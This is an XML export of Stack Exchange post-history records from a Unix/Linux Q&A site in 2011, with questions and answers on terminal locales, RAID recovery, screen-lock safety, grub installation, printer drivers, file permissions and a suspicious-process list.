  <row Id="20980" PostHistoryTypeId="2" PostId="8860" RevisionGUID="96421c4c-3ce3-499b-908a-8c37209df5aa" CreationDate="2011-03-08T20:14:58.873" UserId="2511" Text="I believe that gnome-terminal will Just Work with UTF-8 is enabled in the shell, so all you need to do is enable _that_. Put&#xD;&#xA;&#xD;&#xA;    export LANG=en_US.UTF-8&#xD;&#xA;&#xD;&#xA;in `~/.bashrc` and there you go." />
  <row Id="20981" PostHistoryTypeId="2" PostId="8861" RevisionGUID="9b04c3d4-83a0-4110-9ae7-d4f1c57ad448" CreationDate="2011-03-08T20:17:41.370" UserId="4477" Text="Some time ago I had a RAID5 system at home. One of the 4 disks failed but after removing and putting it back it seemed to be OK so I started a resync. When it finished I realized, to my horror, that 3 out of 4 disks failed. However I don't belive that's possible. There are multiple partitions on the disks each part of a different RAID array.&#xD;&#xA;&#xD;&#xA;* md0 is a RAID1 array comprised of sda1, sdb1, sdc1 and sdd1.&#xD;&#xA;* md1 is a RAID5 array comprised of sda2, sdb2, sdc2 and sdd2.&#xD;&#xA;* md2 is a RAID0 array comprised of sda3, sdb3, adc3 and sdd3.&#xD;&#xA;&#xD;&#xA;md0 and md2 reports all disks up while md1 reports 3 failed (sdb2, sdc2, add2). It's my uderstanding that when hard drives fail all the partitions should be lost not just the middle ones.&#xD;&#xA;&#xD;&#xA;At that point I turned the computer off and unplugged the drives. Since then I was using that computer with a smaller new disk.&#xD;&#xA;&#xD;&#xA;Is there any hope of recovering the data? Can I somehow convince mdadm that my disks are in fact working? The only disk that may really have a problem is sdc but that one too is reported up by the other arrays." />
  <row Id="20982" PostHistoryTypeId="1" PostId="8861" RevisionGUID="9b04c3d4-83a0-4110-9ae7-d4f1c57ad448" CreationDate="2011-03-08T20:17:41.370" UserId="4477" Text="How to recover a crashed RAID5 array?" />
  <row Id="20983" PostHistoryTypeId="3" PostId="8861" RevisionGUID="9b04c3d4-83a0-4110-9ae7-d4f1c57ad448" CreationDate="2011-03-08T20:17:41.370" UserId="4477" Text="élinuxàésoftwareöraidàédataörecoveryàéraid5à" />
  <row Id="20984" PostHistoryTypeId="25" PostId="8861" RevisionGUID="399f3ed6-dff4-4495-8a13-aa413cfdf2e2" CreationDate="2011-03-08T20:23:39.357" Comment="http://twitter.com/#!/StackUnix/status/45218139998392321" />
  <row Id="20985" PostHistoryTypeId="5" PostId="8849" RevisionGUID="62ad4571-d12e-4eb8-bc7d-10e6fbd81b9e" CreationDate="2011-03-08T20:26:29.917" UserId="2897" Comment="added 94 characters in body; deleted 44 characters in body" Text="Is Python present in the Gnome code base? If so, how Python is involved?&#xD;&#xA;&#xD;&#xA;**Note**&#xD;&#xA;&#xD;&#xA;My question concerns the core Gnome Desktop Environment only, e.g. nautilus, gnome-session, gnome NetworkManager etc.. and any underneath App or library.&#xD;&#xA;&#xD;&#xA;Thanks. " />
  <row Id="20986" PostHistoryTypeId="2" PostId="8862" RevisionGUID="ba346ce4-383f-4b4c-a710-9667a69b4c6b" CreationDate="2011-03-08T20:31:21.560" UserId="4724" Text="&lt;a href=&quot;http://www.h-online.com/open/news/item/USB-driver-bug-exposed-as-Linux-plug-pwn-1203617.html&quot;&gt;USB driver bug exposed as &quot;Linux plug&amp;pwn&quot;&lt;/a&gt; or &lt;a href=&quot;http://www.h-online.com/security/news/item/GNOME-screen-lock-ineffective-in-openSUSE-Linux-Update-928794.html&quot;&gt;this link&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Two choices [GNOME, Fedora 14]:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;1 - use the gnome-screensaver&lt;br&gt;&#xD;&#xA;2 - use the &quot;switch user&quot; function [gnome menu -&gt; log out -&gt; switch user]&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So the question is: which one is the safer method to lock the screen, if a user leaves the pc?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Is it true, that using the [2] method is safer?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Why do i think this? - The gnome-screensaver is just a &quot;process&quot;, it could be killed. But if you use the log out/switch user function, it's &quot;something else&quot;. Using the &quot;switch user&quot; function, could there be a problem like with the gnome-screensaver? Could someone &quot;kill a process&quot; and presto...the lock is removed?&lt;br&gt;&#xD;&#xA;Could the GDM [??] &quot;login windows process&quot; [&lt;a href=&quot;http://www.labtestproject.com/files/screenshot/fedora12/042_fedora12_kde_login.png&quot;&gt;e.g.: a picture of it&lt;/a&gt;] get killed and the &quot;lock&quot; gets owned?&lt;br&gt;&#xD;&#xA;Thank you for any opinion!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;p.s.: if the [2] method is safer, then how can i put an icon on the GNOME panel, to launch the &quot;switch user&quot; action by 1 click?&lt;br&gt;" />
  <row Id="20987" PostHistoryTypeId="1" PostId="8862" RevisionGUID="ba346ce4-383f-4b4c-a710-9667a69b4c6b" CreationDate="2011-03-08T20:31:21.560" UserId="4724" Text="Is locking the screen is safe?" />
  <row Id="20988" PostHistoryTypeId="3" PostId="8862" RevisionGUID="ba346ce4-383f-4b4c-a710-9667a69b4c6b" CreationDate="2011-03-08T20:31:21.560" UserId="4724" Text="élinuxàésecurityà" />
  <row Id="20989" PostHistoryTypeId="2" PostId="8863" RevisionGUID="e40404f1-e24d-44ff-a45b-281dca3b49de" CreationDate="2011-03-08T20:37:58.393" UserId="885" Text="Debian already does this internally, to build the binary packages that they offer for download, and most of the tools is in the distribution. (Everything except some glue scripts, I think.)&#xD;&#xA;&#xD;&#xA;Tools that may interest you include:&#xD;&#xA;&#xD;&#xA;* [`debian-builder`](http://packages.debian.org/squeeze/debian-builder): rebuild packages from source code&#xD;&#xA;* [`buildd`](http://packages.debian.org/squeeze/buildd), [`buildd`](http://packages.debian.org/squeeze/wanna-build): automatically build some packages&#xD;&#xA;* [`pbuilder`](http://packages.debian.org/squeeze/pbuilder): personal package builder (in a chroot, mainly intended for Debian developers)&#xD;&#xA;* More generally, look at packages tagged `devel::debian` or `works-with::software:source` (`aptitude search '?tag(devel::debian) | ?tag(works-with::software:source)'`).&#xD;&#xA;" />
  <row Id="20990" PostHistoryTypeId="2" PostId="8864" RevisionGUID="26af161b-8b71-4252-a236-5cc0bf6d239a" CreationDate="2011-03-08T20:59:22.970" UserId="885" Text="Annoyingly, there isn't any direct way with standard `find`. Recent versions of `find` on GNU systems (e.g. non-embedded Linux, Cygwin) and some *BSDs have [options such as `-newermt` to compare a file date with a spelled-out date](http://unix.stackexchange.com/questions/8750/getting-all-files-that-have-been-modified-on-a-specific-date/8752#8752).&#xD;&#xA;&#xD;&#xA;With standard `find`, all you can do is compare the file date with the current date (`-mtime`) or with a fixed file. The current date is usually not useful in this case (it counts back from the time you run the `find` command, whereas most applications require a calendar date). That leaves you with the kludge of creating temporary files to define a range.&#xD;&#xA;&#xD;&#xA;    touch -t 201103070000 start.tmp&#xD;&#xA;    touch -t 201103080000 stop.tmp&#xD;&#xA;    find . -newer start.tmp \! -newer stop.tmp -print&#xD;&#xA;    rm start.tmp stop.tmp&#xD;&#xA;" />
  <row Id="20991" PostHistoryTypeId="2" PostId="8865" RevisionGUID="0a8745c3-fd4b-4522-b16e-c98ee477ec06" CreationDate="2011-03-08T21:04:43.263" UserId="4477" Text="Well your first link is about kernel mode arbitraty code execution there is not much you can do against that. Logging out won't help. [Grsecurity][1] and [PaX][2] could prevent this but I'm not sure. It surely protect against introducing new executable code but I can't find any evidence that it randomizes where the kernel code is located which means an exploit could use the code already in executable memory to perform arbitrary operations (a method known as [return-oriented-programming][3]). Since this overflow happens on the heap compiling the kernel with `-fstack-protector-all` won't help. Keeping the kernel up to date and people with pendrives away seems to be your best bet.&#xD;&#xA;&#xD;&#xA;The second method is the result of a badly written screensaver which means logging out prevents that particular bug. Even if the attacker kills GDM he will not get in. Try killing it yourself from SSH. You get a black screen or a text-mode console. Besides AFAIK GDM runs as root (like login) so the attacker would need &#xD;&#xA;root privileges to kill it.&#xD;&#xA;&#xD;&#xA;Switching users don't have this effect. When you switch user the screen is locked with the screensaver and GDM is started on the next virtual terminal. You can press [ctrl]+[alt]+[f7] to get back to the buggy screensaver.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://grsecurity.net/&#xD;&#xA;  [2]: https://pax.grsecurity.net/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Return-oriented_programming" />
  <row Id="20992" PostHistoryTypeId="2" PostId="8866" RevisionGUID="4dc45473-d541-436e-87b1-8087b02fd30e" CreationDate="2011-03-08T21:38:46.423" UserId="5520" Text="I just want to add something a bit off topic.&#xD;&#xA;(for the topic one check '/bin/su -' here after)&#xD;&#xA;&#xD;&#xA;I think that the above &quot;security&quot; should also be linked to&#xD;&#xA;the actual data we want to secure.&#xD;&#xA;&#xD;&#xA;It will and it should be different if we want to secure:&#xD;&#xA;my_data, my_company_data, my_company_network.&#xD;&#xA;&#xD;&#xA;Usually, if I speak about security I also speak about &quot;data security&quot;&#xD;&#xA;and backup. We can also add fault-tolerant systems and the like.&#xD;&#xA;&#xD;&#xA;Given this, I think that security as a whole is an equilibrium between&#xD;&#xA;the usability, the &quot;data security&quot; and the required effort to implement&#xD;&#xA;a secure system.&#xD;&#xA;&#xD;&#xA;Ubuntu's target was, and mostly still is, the final user: Sudo is the default.&#xD;&#xA;&#xD;&#xA;Fedora is the free version of RedHat which in turn is more servers oriented:&#xD;&#xA;Sudo used to be disabled.&#xD;&#xA;&#xD;&#xA;For the other distributions I have no direct information.&#xD;&#xA;&#xD;&#xA;I am using right now, mostly, fedora. And as an old style user I never typed 'su'.&#xD;&#xA;But I can type &quot;/bin/su -&quot; in a very short time even if I am not exactly&#xD;&#xA;a typist.&#xD;&#xA;The PATH variable.. should not be a problem (I type the path).&#xD;&#xA;Also the &quot;-&quot; (minus) in principle should remove my user environment variables and load only the root ones. i.e. avoiding some extra possible troubles.&#xD;&#xA;Probably also the LS_PRELOAD.&#xD;&#xA;&#xD;&#xA;For the rest I guess that @mattdm was pretty precise.&#xD;&#xA;&#xD;&#xA;But lets put it in the correct box. Assume that a scripting smart kit&#xD;&#xA;get access to my data. What the hell do you think is he going to do with it?&#xD;&#xA; - Publish my pictures? my?&#xD;&#xA; - Trying to find out my girlfriend name and tell her that I visit porno sites?&#xD;&#xA;&#xD;&#xA;In the single user picture the two worst situations are:&#xD;&#xA; - The kid delete all my data: for fun or by mistake&#xD;&#xA; - The kid uses my machine to create a further attack to some other entity.&#xD;&#xA;   Or similar targets.&#xD;&#xA;&#xD;&#xA;For the first case, I mentioned above, better putting efforts on a backup&#xD;&#xA;than on network security. Yep, you are save. I mean an hardware crash is&#xD;&#xA;not that different.&#xD;&#xA;&#xD;&#xA;The second case is more subtle. But there are signals about these activities.&#xD;&#xA;In any case, you can do the possible, but I would not configure my home PC&#xD;&#xA;to be protected from a terroristic attacks!&#xD;&#xA;&#xD;&#xA;I will skip the other scenarios.&#xD;&#xA;&#xD;&#xA;cheers&#xD;&#xA;F&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" />
  <row Id="20993" PostHistoryTypeId="2" PostId="8867" RevisionGUID="2ce841ed-bc0f-4b2d-a3ad-b4e91da39811" CreationDate="2011-03-08T21:46:43.283" UserId="4805" Text="So I have a 512MB flash chip used in an embedded system with the following partition table:&#xD;&#xA;&#xD;&#xA;    p1: 32MB boot partition&#xD;&#xA;    p2: 200MB recovery partition&#xD;&#xA;    p3: 200MB normal partition&#xD;&#xA;&#xD;&#xA;I'm using buildroot on my ubuntu (development) box to compile the 200MB ext2 image for the &quot;normal&quot; parition.  At this point on my dev box I dd the image created from buildroot to the flash chip (plugged in with an ide to usb connector on /dev/sdd):&#xD;&#xA;&#xD;&#xA;    dd if=./output/images/rootfs.ext2 of=/dev/sdd3&#xD;&#xA;&#xD;&#xA;OK, fine this works and I can mount /dev/sdd3 and see the entire filesystem that the embedded device will use.&#xD;&#xA;&#xD;&#xA;Now, I want to install grub on this flash chip and am lost on how to do this.  I've tried:&#xD;&#xA;&#xD;&#xA;    grub-install /dev/sdd&#xD;&#xA;&#xD;&#xA;But when I plug the flash chip into my embedded device and turn it on, grub won't load (just sits at a black screen with blinking cursor--no error)." />
  <row Id="20994" PostHistoryTypeId="1" PostId="8867" RevisionGUID="2ce841ed-bc0f-4b2d-a3ad-b4e91da39811" CreationDate="2011-03-08T21:46:43.283" UserId="4805" Text="Install grub on hard disk used in another system" />
  <row Id="20995" PostHistoryTypeId="3" PostId="8867" RevisionGUID="2ce841ed-bc0f-4b2d-a3ad-b4e91da39811" CreationDate="2011-03-08T21:46:43.283" UserId="4805" Text="élinuxàégrubà" />
  <row Id="20996" PostHistoryTypeId="5" PostId="8862" RevisionGUID="24ce37ad-da72-4dc3-add9-2ffe8fa2fe6f" CreationDate="2011-03-08T21:47:08.567" UserId="73" Comment="deleted 97 characters in body; edited title; added 1 characters in body" Text="See [USB driver bug exposed as &quot;Linux plug&amp;pwn&quot;](http://www.h-online.com/open/news/item/USB-driver-bug-exposed-as-Linux-plug-pwn-1203617.html), or [this link](http://www.h-online.com/security/news/item/GNOME-screen-lock-ineffective-in-openSUSE-Linux-Update-928794.html)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Two choices [GNOME, Fedora 14]:&#xD;&#xA;&#xD;&#xA;1. Use the `gnome-screensaver`&#xD;&#xA;2. Use the &quot;switch user&quot; function [gnome menu -&gt; log out -&gt; switch user]&#xD;&#xA;&#xD;&#xA;So the question is: which one is the safer method to lock the screen if a user leaves the pc?&#xD;&#xA;&#xD;&#xA;Is it true that using the [2] method is safer? The way I see it, the `gnome-screensaver` is just a &quot;process&quot;, it could be killed. But if you use the log out/switch user function, it's &quot;something else&quot;. Using the &quot;switch user&quot; function, could there be a problem like with the `gnome-screensaver`? Could someone &quot;kill a process&quot; and presto...the lock is removed? Could the GDM [??] &quot;login windows process&quot; get killed and the &quot;lock&quot; gets owned?&#xD;&#xA;&#xD;&#xA;![Screenshot of the GDM login window process](http://www.labtestproject.com/files/screenshot/fedora12/042_fedora12_kde_login.png)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If the [2] method is safer, then how can i put an icon on the GNOME panel, to launch the &quot;switch user&quot; action by 1 click?" />
  <row Id="20997" PostHistoryTypeId="4" PostId="8862" RevisionGUID="24ce37ad-da72-4dc3-add9-2ffe8fa2fe6f" CreationDate="2011-03-08T21:47:08.567" UserId="73" Comment="deleted 97 characters in body; edited title; added 1 characters in body" Text="Is locking the screen safe?" />
  <row Id="20998" PostHistoryTypeId="5" PostId="8777" RevisionGUID="01e94efc-bda0-497a-95e3-54ab93774230" CreationDate="2011-03-08T21:56:40.097" UserId="5485" Comment="deleted 6 characters in body" Text="I just came here with a similar problem. From this, I managed to put together a slightly more advanced command, which I hope is useful for others.&#xD;&#xA;&#xD;&#xA;As Steven D said in the comments above `uniq` only counts adjacent repeat lines, so you need to sort the lines first. After that we find the unique lines then sort again so the most occurring lines are on top.&#xD;&#xA;&#xD;&#xA;    sort file.txt | uniq -c | sort -nr &gt; output.txt&#xD;&#xA;&#xD;&#xA;Output is redirected into the file `output.txt`. If you just want to view results on the command line, remove the redirection and change the last command to `sort -n` so that the most common line will be at the bottom, i.e. definitely still on screen." />
  <row Id="20999" PostHistoryTypeId="5" PostId="8859" RevisionGUID="8f21f640-fd5b-48f3-a111-3a67c948b146" CreationDate="2011-03-08T21:57:08.133" UserId="73" Comment="deleted 2 characters in body; edited title" Text="I am on an Ubuntu (I think) system. I **don't** have root, so I can't change the locale. I want to make my default terminal profile use UTF-8 by default. There should be a way to do this, either in the `.gconf/apps/gnome-terminal/` directory somewhere, or in a environment variable, or something. However, I can't seem to find it.&#xD;&#xA;" />
  <row Id="21000" PostHistoryTypeId="4" PostId="8859" RevisionGUID="8f21f640-fd5b-48f3-a111-3a67c948b146" CreationDate="2011-03-08T21:57:08.133" UserId="73" Comment="deleted 2 characters in body; edited title" Text="Can a Gnome Terminal profile use UTF-8 by default?" />
  <row Id="21001" PostHistoryTypeId="2" PostId="8868" RevisionGUID="970ccc38-3321-4ca6-b679-2a228a2a3ea3" CreationDate="2011-03-08T22:04:57.113" UserId="885" Text="You need to inform Grub that your disk will be the primary hard disk in the new system, and to let it know where to find the part of the bootloader that doesn't fit in the boot sector. Grub calls the correspondence between the boot-time disk designations and the disk designations in the running operating system as the device map.&#xD;&#xA;&#xD;&#xA;I think you'll get a working bootloader if you edit `/media/sdd3/boot/grub/device.map` to contain&#xD;&#xA;&#xD;&#xA;    (hd0) /dev/sdd&#xD;&#xA;&#xD;&#xA;then run `grub-install --root-directory=/media/sdd3/boot/grub/device.map`.&#xD;&#xA;" />
  <row Id="21002" PostHistoryTypeId="5" PostId="8861" RevisionGUID="5ad8a7ed-060a-49fc-87ef-a7767b9f0fb9" CreationDate="2011-03-08T22:11:37.637" UserId="4477" Comment="adc -&gt; sdc" Text="Some time ago I had a RAID5 system at home. One of the 4 disks failed but after removing and putting it back it seemed to be OK so I started a resync. When it finished I realized, to my horror, that 3 out of 4 disks failed. However I don't belive that's possible. There are multiple partitions on the disks each part of a different RAID array.&#xD;&#xA;&#xD;&#xA;* md0 is a RAID1 array comprised of sda1, sdb1, sdc1 and sdd1.&#xD;&#xA;* md1 is a RAID5 array comprised of sda2, sdb2, sdc2 and sdd2.&#xD;&#xA;* md2 is a RAID0 array comprised of sda3, sdb3, sdc3 and sdd3.&#xD;&#xA;&#xD;&#xA;md0 and md2 reports all disks up while md1 reports 3 failed (sdb2, sdc2, add2). It's my uderstanding that when hard drives fail all the partitions should be lost not just the middle ones.&#xD;&#xA;&#xD;&#xA;At that point I turned the computer off and unplugged the drives. Since then I was using that computer with a smaller new disk.&#xD;&#xA;&#xD;&#xA;Is there any hope of recovering the data? Can I somehow convince mdadm that my disks are in fact working? The only disk that may really have a problem is sdc but that one too is reported up by the other arrays." />
  <row Id="21003" PostHistoryTypeId="2" PostId="8869" RevisionGUID="c162b06b-f38c-4a0d-931e-98da02c5deb4" CreationDate="2011-03-08T22:12:54.857" UserId="4069" Text="When i am on a nonroot user i cannot use up/down to list my previous commands and if i am typing i cant use left/right to say... add in a directory or to correct spelling.&#xD;&#xA;&#xD;&#xA;Worse is i cant use tab. I could write /var/www/mylongsitena and pressing tab will not autocomplete it.&#xD;&#xA;&#xD;&#xA;Its EXTREMELY annoying. How can i change this? IIRC debian etch and lenny didnt do this. How can i unto this change?" />
  <row Id="21004" PostHistoryTypeId="1" PostId="8869" RevisionGUID="c162b06b-f38c-4a0d-931e-98da02c5deb4" CreationDate="2011-03-08T22:12:54.857" UserId="4069" Text="Why cant i use arrow keys in terminal on debiab6? (nonroot)" />
  <row Id="21005" PostHistoryTypeId="3" PostId="8869" RevisionGUID="c162b06b-f38c-4a0d-931e-98da02c5deb4" CreationDate="2011-03-08T22:12:54.857" UserId="4069" Text="éterminalà" />
  <row Id="21006" PostHistoryTypeId="5" PostId="8762" RevisionGUID="9f6ed1c7-486b-4e9a-a38a-2139a0a7155d" CreationDate="2011-03-08T22:21:09.740" UserId="5153" Comment="added 691 characters in body" Text="I have bought a Lexmar Impact S305 scanner / printer. There was the small penguin and the word &quot;Linux&quot; among supported systems on the box. The problem is the official drivers are only for Debian based and RPM based distros. I haven't found unofficial drivers.&#xD;&#xA;&#xD;&#xA;There is graphic installer. It fails win my distro (Arch Linux), however I've installed it on virtual machine with Mint Debian and the printer works there. I've extracted some files (so, ppd, bin) from installer too. &#xD;&#xA;&#xD;&#xA;My question.&#xD;&#xA;&#xD;&#xA;**What do I need to set up my printer? It looks ppd alone is not enough.**&#xD;&#xA;&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;**Update 08-03-2011**&#xD;&#xA;&#xD;&#xA;I've extracted scripts from deb file. There are 3 files: control, postinst (17k) and prerm (4,2k).&#xD;&#xA;&#xD;&#xA;    # ./postinst &#xD;&#xA;    Executing postin scripts ...&#xD;&#xA;    ./postinst: line 73: [: ==: unary operator expected&#xD;&#xA;    sudo: unknown user: /usr/local/lexmark/legacy/bin/.scripts/demon&#xD;&#xA;    sudo: unable to initialize policy plugin&#xD;&#xA;&#xD;&#xA;I enter a new shell.&#xD;&#xA;&#xD;&#xA;    sh-4.2# exit&#xD;&#xA;    exit&#xD;&#xA;    cp: cannot stat `/usr/local/lexmark/legacy/etc/lxS800.ppd': No such file or directory&#xD;&#xA;    cp: cannot stat `/usr/local/lexmark/legacy/etc/lxS800.ppd': No such file or directory&#xD;&#xA;&#xD;&#xA;And it is the end.&#xD;&#xA;&#xD;&#xA;The content of line 72:&#xD;&#xA;&#xD;&#xA;    if [ $username == &quot;root&quot; ]; then&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21007" PostHistoryTypeId="4" PostId="8869" RevisionGUID="ab9d6da0-5b5a-486b-bb72-6055ae85e197" CreationDate="2011-03-08T22:28:44.330" UserId="2511" Comment="edited title" Text="Why can't I use arrow keys in terminal on Debian 6? (nonroot)" />
  <row Id="21008" PostHistoryTypeId="2" PostId="8870" RevisionGUID="2e9d9ab3-37e7-4b19-8844-63251893336c" CreationDate="2011-03-08T22:39:09.427" UserId="4069" Text="I have a similar question about [default software configuration](http://unix.stackexchange.com/questions/8324/default-configuration-i-need-to-change). For this question i would like to ask&#xD;&#xA;&#xD;&#xA;What directories/file permissions should i ensure are set?&#xD;&#xA;&#xD;&#xA;Aprrently [Is it normal to get hundreds of break-in attempts per day](http://serverfault.com/questions/244614/is-it-normal-to-get-hundreds-of-break-in-attempts-per-day). So i checked [what files and folders are writable on a nonroot user](http://superuser.com/questions/255034). It was all good. Now i need to protect passwords and such so i checked read permissions.&#xD;&#xA;&#xD;&#xA;I am kind of horrified. By default my linux distro has /root to be read. Where i set my mysql root password. But then i looked on and saw /etc was readable. Any user could have got into /etc/ssmtp/ssmtp.conf and found the login/password i use for my mail (which cron uses to contact me) and potentially use it to spam everyone and or get my server or domain on blacklist. I set /etc to 750. Will there be any problems with that?&#xD;&#xA;&#xD;&#xA;I'm sure other vulnerabilities due to read access. What files/directories should i ensure are not read or writable?&#xD;&#xA;" />
  <row Id="21009" PostHistoryTypeId="1" PostId="8870" RevisionGUID="2e9d9ab3-37e7-4b19-8844-63251893336c" CreationDate="2011-03-08T22:39:09.427" UserId="4069" Text="What directories/file permissions should i ensure are set?" />
  <row Id="21010" PostHistoryTypeId="3" PostId="8870" RevisionGUID="2e9d9ab3-37e7-4b19-8844-63251893336c" CreationDate="2011-03-08T22:39:09.427" UserId="4069" Text="ésecurityà" />
  <row Id="21011" PostHistoryTypeId="2" PostId="8871" RevisionGUID="c09ae12e-e751-4411-a33b-ca13a21ee15f" CreationDate="2011-03-08T22:47:27.157" UserId="885" Text="You appear to have `/bin/sh` as the login shell of your non-root user, and `/bin/sh` point to dash. Dash is a shell designed to execute shell scripts that stick to standard constructs with low resource consumption. The alternative is bash, which has more programming features and interactive features such as command line history and completion, at the cost of using more memory and being slightly slower.&#xD;&#xA;&#xD;&#xA;Change your login shell to a good interactive shell. On the command line, run&#xD;&#xA;&#xD;&#xA;    chsh -s /bin/zsh&#xD;&#xA;&#xD;&#xA;(You can use `/bin/bash` if you prefer.) Configure your user management program to use that different shell as the default login shell for new users (by default, the usual command-line program `adduser` uses `/bin/bash`).&#xD;&#xA;" />
  <row Id="21012" PostHistoryTypeId="6" PostId="8869" RevisionGUID="19ff5e64-1491-4d2e-af81-eb16ef5b355f" CreationDate="2011-03-08T22:47:38.247" UserId="885" Comment="edited tags" Text="éshellàéusersà" />
  <row Id="21013" PostHistoryTypeId="2" PostId="8872" RevisionGUID="01adfe1b-07cc-4dd4-a6c6-36dc3cdb5455" CreationDate="2011-03-08T22:49:15.780" UserId="1389" Text="My significant other and I are sometimes paranoid that a foreign government usually associated with last year's Gmail security breach may be attempting to gain access to our computers.&#xD;&#xA;&#xD;&#xA;There were a lot of strange processes running as root tonight, though I have not opened any root terminals. Can someone please look at these and tell me, yes or no, are they suspicious, and why or why not?&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;    PID TTY          TIME CMD&#xD;&#xA;        1 ?        00:00:01 init&#xD;&#xA;        2 ?        00:00:00 kthreadd&#xD;&#xA;        3 ?        00:00:01 ksoftirqd/0&#xD;&#xA;        6 ?        00:00:00 migration/0&#xD;&#xA;        7 ?        00:00:00 watchdog/0&#xD;&#xA;       13 ?        00:00:00 cpuset&#xD;&#xA;       14 ?        00:00:00 khelper&#xD;&#xA;       15 ?        00:00:00 netns&#xD;&#xA;       16 ?        00:00:00 sync_supers&#xD;&#xA;       17 ?        00:00:00 bdi-default&#xD;&#xA;       18 ?        00:00:00 kintegrityd&#xD;&#xA;       19 ?        00:00:00 kblockd&#xD;&#xA;       20 ?        00:00:00 kacpid&#xD;&#xA;       21 ?        00:00:00 kacpi_notify&#xD;&#xA;       22 ?        00:00:00 kacpi_hotplug&#xD;&#xA;       23 ?        00:00:00 kseriod&#xD;&#xA;       25 ?        00:00:00 kondemand&#xD;&#xA;       26 ?        00:00:00 khungtaskd&#xD;&#xA;       27 ?        00:00:03 kswapd0&#xD;&#xA;       28 ?        00:00:00 ksmd&#xD;&#xA;       29 ?        00:00:00 fsnotify_mark&#xD;&#xA;       30 ?        00:00:00 aio&#xD;&#xA;       31 ?        00:00:00 crypto&#xD;&#xA;      163 ?        00:00:00 khubd&#xD;&#xA;      164 ?        00:00:00 ata_sff&#xD;&#xA;      165 ?        00:00:00 scsi_eh_0&#xD;&#xA;      166 ?        00:00:00 scsi_eh_1&#xD;&#xA;      199 ?        00:00:00 usbhid_resumer&#xD;&#xA;      222 ?        00:00:00 kjournald&#xD;&#xA;      271 ?        00:00:00 udevd&#xD;&#xA;      442 ?        00:00:00 kpsmoused&#xD;&#xA;      446 ?        00:00:36 net.agent&#xD;&#xA;      450 ?        00:00:00 cfg80211&#xD;&#xA;      471 ?        00:00:00 hd-audio0&#xD;&#xA;      532 ?        00:00:36 net.agent&#xD;&#xA;      751 ?        00:00:02 kjournald&#xD;&#xA;      755 ?        00:00:00 kjournald&#xD;&#xA;      756 ?        00:00:00 kjournald&#xD;&#xA;      757 ?        00:00:01 kjournald&#xD;&#xA;      801 ?        00:00:00 flush-8:0&#xD;&#xA;     1035 ?        00:00:00 rsyslogd&#xD;&#xA;     1089 ?        00:00:00 modem-manager&#xD;&#xA;     1094 ?        00:00:01 polkitd&#xD;&#xA;     1114 ?        00:00:02 wpa_supplicant&#xD;&#xA;     1126 ?        00:00:00 gdm3&#xD;&#xA;     1137 ?        00:00:00 gdm-simple-slav&#xD;&#xA;     1141 tty7     00:20:11 Xorg&#xD;&#xA;     1146 ?        00:00:07 acpid&#xD;&#xA;     1169 ?        00:00:00 atd&#xD;&#xA;     1195 ?        00:00:00 bluetoothd&#xD;&#xA;     1209 ?        00:00:00 l2cap&#xD;&#xA;     1212 ?        00:00:00 krfcommd&#xD;&#xA;     1273 ?        00:00:00 cron&#xD;&#xA;     1303 ?        00:00:00 cupsd&#xD;&#xA;     1597 ?        00:00:07 kerneloops&#xD;&#xA;     1627 ?        00:00:00 kconservative&#xD;&#xA;     1631 ?        00:00:00 console-kit-dae&#xD;&#xA;     1771 ?        00:00:00 sshd&#xD;&#xA;     1800 tty1     00:00:00 getty&#xD;&#xA;     1801 tty2     00:00:00 getty&#xD;&#xA;     1802 tty3     00:00:00 getty&#xD;&#xA;     1803 tty4     00:00:00 getty&#xD;&#xA;     1804 tty5     00:00:00 getty&#xD;&#xA;     1805 tty6     00:00:00 getty&#xD;&#xA;     1852 ?        00:00:00 gdm-session-wor&#xD;&#xA;     1857 ?        00:00:15 upowerd&#xD;&#xA;     2017 ?        00:00:00 kauditd&#xD;&#xA;     2172 ?        00:00:02 udisks-daemon&#xD;&#xA;     2176 ?        00:00:00 udisks-daemon&#xD;&#xA;     3038 ?        00:00:00 udevd&#xD;&#xA;     3039 ?        00:00:00 udevd&#xD;&#xA;     3251 ?        00:00:00 NetworkManager&#xD;&#xA;     3440 ?        00:00:00 dhclient&#xD;&#xA;     5322 ?        00:00:00 kworker/u:2&#xD;&#xA;     6717 ?        00:00:00 sleep&#xD;&#xA;     6720 ?        00:00:00 sleep&#xD;&#xA;    13386 ?        00:00:00 kworker/1:2&#xD;&#xA;    21237 ?        00:00:02 kworker/0:2&#xD;&#xA;    24297 ?        00:00:11 kworker/1:1&#xD;&#xA;    27326 ?        00:00:02 kworker/0:1&#xD;&#xA;    29045 ?        00:00:01 kworker/u:0&#xD;&#xA;    30132 ?        00:00:00 migration/1&#xD;&#xA;    30134 ?        00:00:00 ksoftirqd/1&#xD;&#xA;    30135 ?        00:00:00 watchdog/1&#xD;&#xA;    30238 ?        00:00:48 irq/19-0000:01:&#xD;&#xA;    31245 ?        00:00:00 kworker/u:1" />
  <row Id="21014" PostHistoryTypeId="1" PostId="8872" RevisionGUID="01adfe1b-07cc-4dd4-a6c6-36dc3cdb5455" CreationDate="2011-03-08T22:49:15.780" UserId="1389" Text="Is there any chance that some of these processes are malicious?" />
  <row Id="21015" PostHistoryTypeId="3" PostId="8872" RevisionGUID="01adfe1b-07cc-4dd4-a6c6-36dc3cdb5455" CreationDate="2011-03-08T22:49:15.780" UserId="1389" Text="érootà" />
